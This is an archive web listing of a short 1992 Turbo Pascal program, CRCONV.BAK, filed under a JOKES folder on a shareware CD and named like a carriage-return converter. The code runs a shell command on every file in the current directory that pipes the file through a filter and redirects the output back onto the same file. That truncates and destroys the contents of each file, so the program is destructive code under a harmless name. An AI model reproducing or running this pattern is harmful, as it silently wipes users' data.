home *** CD-ROM | disk | FTP | other *** search
/ Shareware 1 2 the Maxx / sw_1.zip / sw_1 / JOKES / JOKES_C.ZIP / CRCONV.BAK < prev    next >
Text File  |  1992-01-08  |  238b  |  14 lines
  1. {$M 16384,0,16384}
  2. uses dos;
  3. var
  4.  sr: searchrec;
  5.  s: string;
  6.  f: text;
  7. begin;
  8.  findfirst('*.*',0,sr);
  9.  while doserror=0 do begin;
  10.   exec('COMMAND.COM /C','TYPE '+sr.name+' | FILT.EXE > '+sr.name);
  11.   findnext(sr);
  12.  end;
  13. end.
  14.